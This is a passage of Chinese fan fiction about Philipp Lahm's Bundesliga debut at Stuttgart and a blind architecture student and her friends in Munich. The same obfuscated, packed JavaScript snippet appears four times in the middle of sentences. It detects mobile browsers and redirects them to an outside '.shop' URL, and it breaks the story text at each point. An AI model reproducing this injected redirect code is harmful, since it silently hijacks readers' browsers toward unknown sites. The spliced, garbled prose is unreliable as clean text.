电视里放着某个频道的体育新闻做背景音,两个人有一搭没一搭地聊着——从队里那个谁最近状态不错,到施魏因斯泰格新买的车上周被刮了一道。陌生环境带来的不安,教练和没站稳的位置带来的压力,时刻紧绷着的状态和孤单似乎也在两个人天南海北的闲聊里融化了。 周末下午巴斯蒂安回慕尼黑,临走前告诉菲利普:“你别放心太早,我下周还来。”菲利普把他的包扔过去:“快滚吧!” 公寓里又只剩下冰箱的低鸣,但好像没那么响了。 新的一周,菲利普站在训练场上,训练场上除了几个工作人员还没有几个人影,他已经习惯提前到场训练。 慢跑,拉伸,从脚踝到髋部,每一处关节都被缓慢又认真的活动开。 菲利普抱着球走到训练墙边,把球一次次送出再稳稳停住。 他把每一个传球、每一次跑动、每一脚解围,都钉进那个叫“适应”的过程里。 马加特不再冲他吼了。队友开始主动和他聊天,大多数话题都和足球有关,偶尔也会开一些他的玩笑——玩笑是职业球员之间代表接纳的语言。训练中如果他穿裆过了队友,口哨和欢呼声簇拥着他炸开,还有被穿裆的那位咬牙切齿的一句“干得不错!”以及对方猛烈的“报复”。 下午训练结束,菲利普站在更衣柜前打开手机,多贝几小时前发来消息吐槽托马斯捡到了一根很直的木棍,此刻正大演特演骑士打败恶龙的故事。“好幼稚,把木棍给我,我就不会这么玩!” 菲利普笑了一声。“确实好幼稚。”他煞有其事地附和。但脑子里忍不住想象了那根棍子——笔直的,趁手的,握在手里,有些心动。 开玩笑,嘴上说说也就算了,现实里谁不想急头白脸地用一根笔直的木棍和灌木丛大战三百回合呢。 “笑啥呢?怎么还不去冲澡?”希尔德布兰德顶着毛巾停在他旁边,胡乱地把衣服往头上套。 “没什么。”菲利普收起手机,抬手去勾希尔德布兰德的肩膀。 “啊滚滚滚,你没洗澡脏死了!别碰我!!!” 菲利普跳着躲开对方抽过来的毛巾,笑着朝淋浴间逃走。 回公寓的路上他看见斯图加特的天空,被太阳烧成橙红色,其实和慕尼黑的天空也没什么不同。 在菲利普·拉姆的日历被训练、录像分析、新城市的陌生街道逐渐填满的时候,慕尼黑这边已经几近过载。 考试季没有人分出心思抬头看天空是什么颜色,只有图纸、模型、代码、颜料,和四个快被淹死的人。 夜晚的公寓客厅灯还亮着,图纸铺开,各占了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346790|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半边茶几。 “楼梯上的切线你要剖在哪?” “轴线标注怎么标?” “外墙线用几层?” 问题不断被托马斯抛出,两个人被绘图大作业折磨得死去活来——每一根线条、每一片板材,都需要托马斯描述后从她的脑海里重构,再转化成语言回传。两个人的思路不甚相同,为沟通更添了几分烦恼。整个过程慢得像用勺子舀干一片湖。 建筑法规背到想吐,那些条款编号在脑子里转一圈又溜走,不留下半点痕迹。 草稿纸像两座废墟,隔着桌子遥遥相望。再一次算出一个和答案南辕北辙的支座反力,两个人崩溃地祈祷地球明天爆炸,这样就再也不用学结构力学。 不远处莉娜的电脑风扇高速运转,嗡鸣声填满客厅。她的程序每跑通一次,就会在下一次更换数据集时以更惨烈的方式报错。她趴在地板上,声音闷在地砖里:“我祈祷人类编程水平倒退一百年,我的保持不变。” 马克斯从艺术史的书堆里抬头:“倒退一百年也没用,那时候没电。” 这个烂透了的冷笑话短暂地把多贝和托马斯从计算题里捞了出来,噗呲噗呲的笑声盖过了风扇的嗡鸣。 地板上长出两根颤颤巍巍的中指。 马克斯合上手里的艺术史,手指缝间还残留着洗不掉的颜料,松节油和颜料的味道黏在身上清洗不掉,他看着教授邮件里的点评“概念很好,深化不足。”,默默把第七版的小论文的文档名改成“真的最后一版_绝对不改了.doc”。 凌晨的马克斯沃施塔特的公寓里仍然灯火通明。四个人在各自的专业里扑腾,偶尔浮出水面换一口气,互相嘲笑一下对方狼狈的样子,然后继续埋头扎进那片属于自己的海。那根被托马斯捡回来的木棍安静躺在客厅的角落,暂时失去了自己骑士之剑的身份。 35.夏天,德甲首秀 洗衣机旁堆积的衣服成了小山,咖啡杯里的咖啡从未间断,夜晚的房间里回荡着键盘的噼啪声和笔尖在纸上蹭出的唰唰声。 四个人从不同的教室在不同的时间回到公寓,像四具被抽空灵魂的空壳,谁也没说话,各自找了个位置,缓缓滑倒在地板上。 客厅很安静。只有窗边的风扇在嗡嗡响,转得有气无力,连它也被考试季榨干了。 莉娜盯着天花板:“我们还活着吗?” 托马斯闭着眼睛,声音从喉咙里咕噜咕噜滚出来:“不确定。可能是幻觉。” 多贝躺在不知道是谁的运动外套上,脸埋进那团软塌塌的布料里,声音闷闷的:“如果是幻觉,那这真是世界上最恐怖的幻觉。” 马克斯侧过头,看着身边三具“尸体”,难得没有嘴贱。 他们就那样瘫着,谁也没动。慕尼黑的太阳低低地挂在西北的天空上,把客厅晒成一方橙色的池。而他们在池底,像四颗被随意丢进去的石子。 多贝的手机埋在包里,屏幕悄悄亮起。 斯图加特,俱乐部的休息室里,菲利普发完消息将手机扣在桌子上。马加特的禁令悬在所有人头顶——禁止外出、禁止吵闹、禁止赌博、禁止熬夜等等一切有损球员比赛状态的事。但仍有几张扑克牌从禁令的缝隙里钻了过来。菲利普看着面前的牌局,老队长索尔多几分钟前走到他面前,以一种地下党接头的神秘方式掏出一副纸牌。牌角带着磨损的痕迹,大概是位“老伙计”。 “教练不是说…”菲利普的眼神在队长和纸牌之间滑来滑去,欲言又止。 “没事,我们不玩赌注。”索尔多眨眨眼,向来严肃的脸上露出促狭的笑意,“要不要来一局?” 菲利普犹豫了几秒,还是摇了摇头,只说自己看看就好。马加特对他们这批年轻球员的管理更为严格,他不想在这种时候给自己找麻烦——哪怕不赌钱,哪怕只是玩两把,落在教练眼里也许就是另一个意思。 他站在迈斯纳后面在心里默默算牌——他很擅长这个,很小的时候爸爸就开始教他打牌。这局开始没多久他就知道迈斯纳又要输,牌面太散,出牌的策略也不对。菲利普索性拿起手机开始开小差。 回复家人的关心和鼓励,还有在格恩时一起踢过球的朋友或者读书时的同学。巴斯蒂还在对话框里做着一脚助力拜仁登顶冠军的美梦。菲利普扯扯嘴角,懒得理他。 直到消息列表拉到底部,看见那个一直没有动静的名字。 他的手指在屏幕上停留了一瞬。 迈斯纳不甘的叫嚷响起。菲利普看过去,果然又输了,和他想的一样。 没什么意思。 “你要回宿舍了?”希尔德布兰还在笑迈斯纳输不起,怨天怨地就是不怨自己牌技烂,余光瞥见菲利普已经起身。 “嗯,我想早点休息。” 菲利普靠在床头翻看着战术笔记,他不知道自己明天是否有上场的机会,但多做一点总不是坏事。他知道自己踢的不差,只是需要一个机会来证明。 机会…明天的比赛…替补… 焦虑和期待沉甸甸地压在秒针上,让它重得几乎转不动。 手机的消息提示音就在这个时候刺入了这片几乎凝固的空间。 多贝为自己睡着了而错过他的消息抱歉,神秘兮兮地表示她找了德国未来最伟大的巫师为他占卜,巫师说菲利普明天一定会有好消息。 [菲利普]:巫师? [多纳贝德]:是莉娜,她最近很沉迷塔罗牌。 菲利普和莉娜只在西郊那次骑行时见过莉娜一次,剩下的了解全部来自多贝那些闲聊中偶然提及的内容。他实在无法把那个看起来风风火火又会和朋友一起犯傻的棕发女孩和那些神叨叨的巫师联系在一起。 [菲利普]:她怎么…好吧,那她算得准吗? 多贝不说话了,过了好一会儿才传过来一条语音。菲利普点开,音量调到最低。 : “占卜…不能说准不准!”不是多贝,他愣了一下才反应过来是莉娜在说话,“占卜…未来最伟大的巫师的事,能说这个吗!”一句话被她讲得七零八碎,背景音里是另外几人毫不掩饰的嘲笑。接着便是些难懂的话,什么“心诚则灵”,什么“伟大的巫师”之类的,一句接着一句,没什么逻辑,但是盖不住声音里的理直气壮。 菲利普听见自己笑了两声。 2003年8月3日,德甲联赛开战。 斯图加特客场对战汉莎罗斯托克。 迈斯纳上场前拍拍菲利普的肩膀:“准备好,机会随时可能降临。” 现在他在替补席上坐着,护腿板牢牢固定在腿上,眼神追随着皮球的每一次转移。 欣克尔再次挡住了罗斯托克右路的进攻,成功完成抢断,发动了右路反击。 菲利普看着欣克尔,右后卫,也是他习惯的位置。而现在两个人一个在球场上奔跑,一个人只能在场下观看。他当然希望球队能取得胜利,但他更希望这份胜利中有他贡献的一份力量。每一次欣克尔成功防守,他都会下意识地绷紧身体,仿佛那一刻在场上奔跑的是自己;每一次进攻被化解,他的拳头都会在膝盖上轻轻攥紧又松开。 下半场开始了。 菲利普的身体微微前倾,手肘撑在膝盖上,目光紧紧锁住球场。他在心里模拟着每一个可能属于他的瞬间——如果他在那里,他会怎么跑位,怎么卡住对手,怎么把球断下来。手心渗出一层薄汗,胡乱地在毛巾上蹭了蹭。 第六十分钟,绍比奇替换卡曹。 马加特对0:0的状况非常不满,他希望绍比奇能给球场上带来不一样的变化。 他是对的 第七十五分钟,局势出现了变化,罗斯托克犯规了。解说员的声音变得高亢:“斯图加特获得一个前场任意球!赫尔特右脚起球传入禁区!” 菲利普屏住呼吸,身体不自觉的前倾。 “绍比奇!他是什么时候到那儿的?绍比奇头球射门!Toooor!” “这是本届联赛的第一个进球!” 观众席上大喊着绍比奇的名字,替补席上的球员们跳起来挥拳庆祝,菲利普跟着站起来,那瓶不知道什么时候打开的水被他晃得撒出来大半,水顺着指缝流下去,但他浑然不觉,眼睛依然盯着球场,胸腔里那颗心跳得又重又快,像是要从嗓子眼里冲出来。 斯图加特1:0领先。 第七十六分钟,黑尔特再次得球,他一记直塞,皮球贴着对面穿过罗斯托克防守队员之间的那道缝隙,绍比奇禁区前沿得球,直接起脚劲射。舒贝尔试图拦截,但这球速度极快,角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351091|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度刁钻,擦着他的手飞进球门。 “黑尔特传球!绍比奇 ——直接打门!Tooooor!球进了!从黑尔特的妙传到绍比奇的射门,完美的配合!无懈可击!” 马加特看着体能消耗巨大的迈斯纳,他需要保持这种优势,也需要让新人们上场溜一圈,现在是换上更新鲜的血液的好时候。 那个指定的中场的替补球员——他还在和护腿板纠缠。 “好了,你别上了。”马加特转过身,视线扫过替补席,定格:“你,替换迈斯纳。” 那一瞬间,菲利普的心脏像是被人狠狠攥了一下,又猛地松开。他几乎是弹起来的,护腿板早就戴好了,鞋带系得紧紧的。他跑到场边,等待第四官员举起换人牌,等待那几秒钟被无限拉长的时间里,耳边的喧嚣变得模糊,只剩下自己的心跳声,咚、咚、咚,一下比一下重。 “菲利普,上去踢你熟悉的足球。不要试图表现自己,保持简单,不要出错!”马加特盯着菲利普的眼睛,一字一句,钉进他的脑子里,“记住了吗?” 菲利普迎着他的视线,点头。 “斯图加特申请换人,7号迈斯纳下场。”解说员的声音响彻全场,“现在上场的是21号——拉姆。” 菲利普走向球场,和下来的迈斯纳交换一个拥抱。迈斯纳拍了拍他的后脑勺:“去吧,小子。”他点点头,喉咙发紧,什么话都说不出来。 他跑到左后卫的位置——一个他并不熟悉,只在训练中客串过几次的位置。草皮踩在脚下的触感真实得有些刺人,他在上面轻轻跳了两下,像是在确认自己真的站在这里。 球场的广播声有些失真,模模糊糊听得不真切。 耳边是主场球迷炸开的嘘声,罗斯托克的球迷们用尽全力干扰着对手每一个行动,声音像一堵不断下压的墙。菲利普深吸一口气空气里有草屑的味道,有汗水的味道,有球迷看台上飘下来的啤酒的味道。 他的眼睛扫过对面球员的脸,扫过皮球,扫过队友的站位——就是现在,他在这里,在德甲的赛场上。 主场落后两球击穿了罗斯托克的球员们的精神防线,失误开始频繁出现,反击有气无力,传球变得松散而犹豫。 一个机会。 菲利普看见那条线路了——对方的传球意图太明显,球速也不够快。他精准卡在对方的传球路线上,断球。皮球粘在他脚下,一记横传,斯图加特再次发动反击。 终场哨吹响,比赛结束,斯图加特2:0汉莎罗斯托克。 菲利普愣了一瞬。 他站在那里,听着哨声消散在空气里,看着记分牌上凝固的数字。他不知道自己为什么要跑,只是胸腔里有什么东西满得快要炸开,必须用奔跑来释放。队友们冲过来,有人揉他的头发,有人拍他的肩膀,有人把他整个人揽进怀里。他想说什么,但所有的词语都被涌上来的情绪堵在喉咙里,只能发出最原始的喊叫。 菲利普和队友在场上拥抱着、欢呼着。他低头看了看自己脚下的草皮,看了看远处的记分牌,看了看看台上那些模糊的人影——他在这里,他真的在这里。 谢谢你的建议,迈斯纳。 嗯…也许我得告诉多贝,莉娜的占卜还是挺准的。 在庆祝的某个间隙,这个念头悄然浮起。 36.庆祝 “砰——” 更衣室的门被关上。 球场上的喧闹被关在门外,又以另一种方式在门内重新燃起。 “绍比奇!绍比奇!超级射手!” 口哨声、欢呼声、还有各种胡乱的打趣声交织成欢快的舞曲。绍比奇扭起了家乡的圆舞曲,动作笨拙却投入,钉鞋在地板上刮出不太成调的节奏。队友们的欢呼声随着他的旋转一层层拔高。有人跟着他一起扭,有人抄起矿泉水瓶互相喷洒,冰凉的水落在汗湿的皮肤上,激起一阵阵惊呼和叫骂。 “好了,好了!安静!” 马加特站在更衣室中央,抬手往下压了压。他的声音不大,但足以让狂欢的热度下降几度。 “我们在客场拿下胜利,这是所有人努力的结果,你们做得很好!”他扫视一圈,目光在每个年轻球员脸上停留了一瞬,最后落在绍比奇身上,“但这只是开始!我们还要拿到下一场、下下一场的胜利!” “哦——!” 回应他的是一阵参差不齐但充满干劲的吼声。 “行了,抓紧时间收拾,别浪费体力。”马加特挥手让人散开,自己走到角落,把空间还给队员们。 更衣室迅速从狂欢切换回有序的忙碌。 有人瘫坐在长椅上,闭着眼睛调整呼吸,手在小腿上用力揉按,试图让那些紧绷的肌肉尽快松弛下来;有人拧开功能饮料,仰头猛灌几口,喉结滚动,补充着刚刚流失的水分。队医提着医药箱穿梭在人群中,给拼抢中磕碰的队员简单处理伤口,碘酒和喷雾的气味混杂在汗味里。 菲利普从淋浴间出来,水珠还挂在发梢。得到机会的喜悦和胜利的激动已经逐渐褪去,取而代之的是一种奇特的安心。 新闻官探进头来,催促着马加特和球员赶紧去混合区,采访准备好了。马加特招呼绍比奇跟上,后者一边往外走一边还在比划那个圆舞曲的动作。 菲利普走到自己的柜子前,希尔德布兰德和迈斯纳拍着他的肩膀:“干得好!菲利普!第一次上场感觉怎么样?” “还好。”他试图让自己冷静一点,但装出来的镇定很快破功。希尔德布兰德按了一下他的头,怪声怪调的重复:“还行~” 手机屏幕亮起的瞬间,甚至有一瞬间的卡顿——消息一条接一条地跳进来,挤满了屏幕。所有关注他的家人朋友,在他踏上球场的那一刻,手指就开始在对话框里敲击。 他看着那些熟悉的头像,嘴角的弧度压不下去。 他没有立刻回复,收拾好东西跟着队友回到大巴上,现在不是聊天的好时机。 绍比奇被新闻官扯着塞回座位,嘴里还在念叨:“教练,我还没说完呢!为什么打断我?”马加特坐在前排,看起来很想像平时那样让他闭嘴,但考虑到他是今晚的功臣,最终只是闭上了眼睛,假装没有听见。 有人闭目养神,有人低声复盘刚刚的比赛,有人招呼着回酒店后一起打游戏。胜利后的马加特堪称慈父——只要不太过分,他一概不理会。 回到酒店,菲利普直奔房间。他把自己摔进床里,举着手机一条条回复。 他有太多心绪要和父母分享,要和朋友确认——这不是梦,他真的上场了,真的在那片草皮上跑过了。 电话一通接一通。 “对,确实是我,妈妈。” “感觉很好。” “我知道,我会努力的。” 每一通的内容都差不多,翻来覆去也不过重复着同样的内容,但他不觉得烦。等到最后一通挂断,手机屏幕上的时间已经接近十一点。 房间里安静下来,远处隐约欢呼和喇叭声,风轻柔地飘进来在屋里打着旋儿。 [菲利普]:我们赢了 消息发出的瞬间他有点后悔——也许她已经休息了,不知道这条消息会不会吵醒她;也许她不在意,毕竟她对足球原本也没什么兴趣;也许… 出乎他的意料,几乎是他发出消息的几秒钟后,多贝的回复就已经传来,快得就像她一直等在手机旁。 [多纳贝德]:什么——?!天呐!恭喜你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355441|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你上场了吗? 她声音里是纯粹的惊讶和喜悦,穿过了几百公里的距离落到他耳朵里。 他打下几个字,删掉,又重新打。 [菲利普]:最后15分钟上场了。 那句“你还没睡?”的问候停在对话框里,他盯着光标看了几秒,最后还是选择删掉。问这个有点奇怪,他不想让她觉得——觉得什么?他也不清楚,总之就是不想。 [多纳贝德]:太棒了!我就知道你可以!菲利普就是最好的! 菲利普听着这条语音,几个月前他在慕尼黑听过这句话,当时他还对未来感到陌生和不确定,现在他在罗斯托克,刚刚完成自己的德甲首秀。 屏幕的光映在他脸上,照亮了他嘴角向上勾起的弧度。 [菲利普]:我想莉娜大概真的有做巫师的天赋。 [多纳贝德]:莉娜知道了会激动得疯掉!现在让我们为最好的球员菲利普和最伟大的巫师莉娜欢呼吧! 希尔德布兰德还没回来,房间看里只有他自己,安静的房间把笑声衬得格外清晰。 窗外的霞光落下来,投下一片橘粉的光。 光落在书桌上,光线如何对多贝来说没什么影响,但她还是习惯性地打开了台灯。 多贝退出聊天框,切回录音软件。她面前摆着一座粗糙的广场模型。雪弗板经过切割层层堆叠,有些地方的边缘毛毛躁躁——失明后最简单的直线也变得很难切,她总是要花更多的时间来对齐。模型上插着几根珠针,每根针都穿着一条小小的盲文标签——那是白天教授为她留下的标记,指示着需要修改的细节。 伸出手摸索着识别白天教授为她留下的标记,对照着手机里的录音一个个识别。序号5…序号5…找到了:“坡道上端的起点平台转弯半径不足,存在侧摔隐患…” “不过现在是未来最伟大的无障碍设计师多纳贝德的时间。”多贝自言自语,再一次拿起自己的盲文笔。笔尖戳在板子上发出细微的声响,“修改方案,转弯半径需调整为……” 37.暑假 慕尼黑的考试季像一场漫长的雨季,终于到了收尾的阶段。最后几门口试时间安排拉得很开,多贝有更多时间瘫在公寓地板上,等脑子从建筑法规和结构力学的浆糊里慢慢澄清。 节奏慢下来。终于能喘口气,多贝把自己埋进柔软的床铺里,闭上了眼睛—— “多贝!快起来!我们去游泳吧!”马克斯冲了进来,声音像颗炸弹在耳边爆开。 “什——”多贝被他吓得一个激灵,瞬间从床上弹起,心脏因为被突然惊醒突突狂跳。在听清马克斯的后半句话后,她就又栽了回去,把自己重新在被子里埋好:“滚蛋!我不去!” 手在枕头边上胡乱摸了几下,抓起一个什么东西,顾不上分辨那是什么,朝门口的方向砸了过去。 书本哗啦啦的翻页声响起,伴随着碰撞和砸到地毯上的沉闷的啪嗒声,马克斯的痛呼声传来。 “我的书——”她心疼地伸出手。 “你都不担心我!” 马克斯控诉着,捡起那本书塞回多贝的手里。指尖沿着书脊摸了一遍,又摸了摸书页脚,确认没什么破损才放下心,“胡说,我第一时间就担心你撞坏了我的书,怎么能说我不担心你?” “啧。” 马克斯决定跳过这个话题,不然他们吵起来就没完没了,他穿过多贝的胳肢窝一把将她薅起,“走吧,去游泳!” “我不想…”她像条毛毛虫似的扭来扭曲,试图逃回自己的被窝。 “不!你想!”拒绝的话开冒头就被顶了回去,马克斯的声音里是压不住的兴奋和激动,像是挖到了宝藏迫不及待地想要炫耀,“我必须让你们见识一下我的新泳裤!你们会被它的艺术气息和设计感震撼的!” “…你有病吧?” “别担心,我可以给你描述它的样子,”马克斯半拖半拉着多贝往门外走,语气郑重得像在读什么宣言,“相信我,即便你看不见也能感受到它的美!快点!莉娜和托马斯已经在收拾东西了!” “不!我不去!” 反抗无效,她被马克斯连人带声一起拖走了。 下午的阳光直直打下来,穿过梧桐和栗树叶落在水面上。普林茨雷根滕的露天泳池就坐落在这片浓绿之间,氯水的味道混合着青草的气息,在热浪里慢慢蒸腾。 细碎的银光在颈间闪过,莉娜被阳光晃得眯起眼睛,她偏过头,检查了一下多贝的深色泳镜,手指沿着镜框边缘的密封条按了一圈。 “真麻烦…玩也玩不痛快。”多贝调整了一下泳镜的带子,嘟嘟囔囔地抱怨。 “好啦,别抱怨了,得保护好你的眼睛嘛。”确认泳镜密封良好,莉娜才牵着她走到泳池边。 不远处的水滑梯处时不时响起几声惊呼,落水的噗通声紧随其后,夹杂着小孩子们尖细的欢笑。 多贝摸着泳镜,羡慕地偏头朝那个方向听了几秒,等眼睛好了……算了,不想不想。她蹲下去,手伸进水里,有一下没一下地泼着水,腕间的手链一晃一晃地闪着光:“他们怎么还没来?” “谁知道?”莉娜坐在她旁边伸出腿虚虚地拦在多贝前面——免得她被路人撞到,或者一不小心栽进泳池,“也许在给托马斯讲解他的艺术。” “啊哦,”多贝夸张地撇嘴,耸耸肩:“可怜的托马斯。” “别可怜托马斯了,一会儿我们也得听。”莉娜朝更衣室的方向扫了一眼,“啊,我看见他…” “哈——哈——哈哈哈——” 莉娜爆发出一阵笑声,多贝听见水被她踢得哗哗作响,还有其他人的憋笑和议论声,围绕着某个点不断传播扩散。 这些声音唤醒了一些不太美妙的回忆,多贝想起从小到大马克斯的那些“艺术品”。不!她一点也不好奇这个泳裤的样子了!她现在和他绝交还来得及吗? 马克斯才不管这些。他昂首挺胸,他得意洋洋,他迈着某种介于走秀和阅兵之间的步伐走到她们面前,拍拍自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362555|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的裤子,清清嗓子:“接下来,让我为你们介绍,本世纪最伟大的——” “你这是泳裤还是在扮演深海荧光水母?”莉娜笑得喘不过气,呼哧呼哧地打断马克斯对泳裤设计的艺术解析。多贝拉着她站起来,她挂在多贝身上,笑声止不住,喷出来的鼻息撞在的耳朵上,痒痒的。 “我们应该建议你的教授把课堂展示的主题换成泳裤解析,这样你就不会连挂三次了。”多贝推开莉娜,掏了掏耳朵。 托马斯憋着笑,他已经在更衣室里笑过一轮了,假惺惺地推眼镜:“别听她们的,马克斯,相信你自己。你现在超级有辨识度。万一溺水,救生员三公里外就能锁定你。” 马克斯没有回嘴,他选择直接动手,莉娜已经尖叫着被他推进了水里。 多贝站在池边,还没笑完,就感觉到一双手落在自己肩膀上。 “等等——马克斯你不能——!” 哗啦。 世界有一瞬间变得模糊而遥远,她落水的姿势大概很难看,从水里冒出头时,头发贴在脸上,她胡乱扒开,笑得比谁都大声。 莉娜扑腾着挪到岸边,边骂马克斯边拽住他的脚,试图和托马斯一起把他扯进来。 阳光晒着水池,水面的波光不断被他们的笑闹打碎。 等到四个人终于肯从泳池里爬出来,头发还滴着水,皮肤被太阳晒得发疼也不肯安静下来,你推我一下我踢你一脚,湿漉漉地挤成一团,留下一串湿脚印。 慕尼黑的雨季结束,暑假就在这个夏日的午后开始了。 托马斯收拾到一半的行李箱摊在客厅角落。他本打算赶明早的飞机回柏林,但高温把所有人都封印在风扇附近。四个人躺在地板上试图汲取一丝凉意,一人一根雪糕,没有人说话,只有风扇的吹风声和偶尔吸溜冰棍的声音。 窗外蚱蜢和螽斯的叫声持续不断,像一锅煮沸的水。 多贝的嘴角沾了一点巧克力,她没察觉到。 38.讨厌的椰子 又是椰子。 菲利普看着面前摆放整齐的椰青,拿起一个掂了掂,水声响亮,椰子沉得有些压手。 “要买吗?你昨天不是还说讨厌椰子?”梅兰妮拿着挑好的水果找过来,她趁着周末从慕尼黑赶过来看他,八月的椰子确实新鲜,她顺手拿起旁边的一个。 “不,”菲利普屈指敲敲椰子壳,坚硬的,发出清脆的咚咚声,“你说什么人会尝试徒手开椰子?” “傻子吧?”梅兰妮挑挑眉,嘴角已经开始上翘了,“你要试试吗?我帮你录下来发给爸妈。” 菲利普翻了个白眼,把手里的椰青泄愤似的扔进购物车,推着车头也不回地离开。椰子在购物车里咕噜噜滚了一圈,停在购物车的角落。 昨天下午斯图加特主场对战柏林赫塔。他作为右后卫替补,九十分钟里他追着皮球看来看去,没有上场的机会。欣克尔还年轻,这两个赛季他表现得很好,马加特没有换下他的必要。菲利普对这一点心知肚明,他收回视线,将膝上皱成一团的毛巾叠齐。 场上的比赛陷入胶着,马加特接连申请换人试图给比赛带来一点转机,替补席上每一声指令都让他微微绷紧,但没有一次是他的名字。直到最后,双方也没有谁打入一粒进球。 0:0,柏林赫塔从戴姆勒球场拿走了他们本赛季的第一个积分。 “你们在干什么!在球场上睡觉吗!”更衣室里马加特的声音像一记闷雷,劈头盖脸地砸下来。 他挥舞着双手在更衣室来回踱步,声音越来越高:“你们怎么不干脆直接送他们三分!” 没人敢在这个时候发出动静,所有人都沉默地做自己的事。菲利普抓着自己的背包带子,看着自己的鞋尖,鞋带松了。 他猜下周的训练大概不太好受,马加特肯定会加大训练量。 从俱乐部出来已经不早了,梅兰妮在停车场等着他,车窗摇下来,她的手臂搭在车沿上,手指跟着音乐打着节拍。 回公寓的路上她还在念叨着刚才的比赛:“最后真的太可惜了,梅拉只差一点就射门了,可惜被基拉利扑出去了…虽然你没上场,但是我相信你会做得更好…” 菲利普靠在车窗上,有一搭没一搭地应和着,窗外的路灯还没亮,一盏接一盏地后退,拉成一条模糊的线。他的思绪还飘在球场上,在那个他没站上去的草坪上,在他没碰到的球上。 消息提示音在车内响起,菲利普看了一眼发信人,从口袋里掏出耳机戴上。 [多纳贝德]:你今天的比赛怎么样?你上场了吗?斯图加特赢了吗? 没等菲利普回复,第二条信息就顶了上来。 [多纳贝德]:我只听了上半场,都怪马克斯这个笨蛋!他非要表演徒手开椰子,现在好了,医生说他手腕韧带拉伤,要静养两周。 她大概憋着笑,说得又快又急,背景里还隐约能听到马克斯在狡辩“只差一点”和莉娜的嘲笑声。 “谁的消息?”梅兰妮分过来一个眼神。 “朋友的。”菲利普把屏幕向自己的方向偏了偏。 “是吗,你朋友怎么说刚刚的比赛?” 菲利普转头看向她,梅兰妮正专心地盯着前方的路,日落前的阳光在她脸上打下明明灭灭的阴影。他知道梅兰妮为什么这么问。他的朋友圈不大,离不开足球。但这个规律在今天短暂失效了。 她怎么说?她什么也不说,甚至都没看——因为一个椰子。这个念头在心里转了一圈,他靠回座椅上,把手机扣到腿上,含糊地“嗯”了一声算是回答。 “‘嗯’是什么意思?”梅兰妮等了几秒,却没有等来下文,“没了?这就完了?” “…我不喜欢椰子。” 话说出口就有几分后悔,他确实因为比赛有些郁闷,但是他为什么要对椰子发脾气?这也太…太幼稚了。 比赛那些东西,还有…还有她,和椰子有什么关系? “什么?什么椰子?”梅兰妮的困惑更加明显。 菲利普紧紧闭上嘴,将头转向另一面,不再看她。车窗上映着他模糊的半张脸。 “…莫名其妙,哪来的椰子…” 她伸手把音量调大了些,音乐声填满了车厢。 上午十点的scheidplatz站告别了早高峰,通道里只有零星的脚步和电子播报声。多贝握着盲杖,顺着脚下的盲道和系统的震动提示向电梯口走去。 哒、哒、咔咔。 盲杖传来的触感由硬实平顺变得粗糙,脚下连续、平行的粗棱条变成密集粗糙的圆点。 直到多贝站定,她计算着时间,一秒,两秒。手环发出的震动提示才终于传来,两下连续短暂的强震同时从左右手传来,是电梯。 怎么会延迟这么久? 多贝皱着眉从电梯口小心地退到旁边不影响通行的地方,从塔塔的嘴巴里掏出平板:“问题记录,导向与空间识别——电梯口预警延迟,需工程组确认是否存在设备问题;建议预警节点提前1.5-2米,预留缓冲空间…” 平板传来震动,提示着记录上传成功,多贝将它塞回塔塔肚子里,跟随着震动指引进入了电梯。 Scheidplatz站作为老地铁站并没有空调,阳光太重,把空气压得死死的,没有风,也没有半丝凉意。 多贝站在站台边缘,列车开走时带起的一点风和车厢开门时漏出的冷气化作一个小钩子,把她的魂儿也带走了,她现在只想钻进有空调的房间,狠狠灌一杯冰水。 “好了,今天的测试就到这里吧。卢卡,你带着多贝回地面层。”耳机里传来指令,协调员朱利安的声音此刻算得上上帝福音。多贝停下来,长长舒了口气。 侧后方一阵故意加重的脚步声,带来一股微弱的气流,是卢卡,作为安全哨位,他不干涉测试,大多数时候只是默默跟在多贝身边确保她的安全。 